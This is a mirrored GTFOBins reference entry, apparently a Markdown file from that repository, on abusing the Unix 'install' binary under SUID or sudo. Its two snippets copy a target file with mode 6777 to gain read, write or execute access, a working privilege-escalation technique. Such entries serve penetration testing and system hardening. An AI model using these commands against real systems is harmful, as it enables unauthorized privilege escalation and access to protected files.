mirror of
https://github.com/GTFOBins/GTFOBins.github.io.git
synced 2024-11-08 07:49:17 +01:00
15 lines
397 B
Markdown
15 lines
397 B
Markdown
---
|
|
description: This can be run with elevated privileges to change permissions (`6` denotes the SUID bits) and then read, write, or execute a copy of the file.
|
|
functions:
|
|
suid:
|
|
- code: |
|
|
LFILE=file_to_change
|
|
TF=$(mktemp)
|
|
./install -m 6777 $LFILE $TF
|
|
sudo:
|
|
- code: |
|
|
LFILE=file_to_change
|
|
TF=$(mktemp)
|
|
sudo install -m 6777 $LFILE $TF
|
|
---
|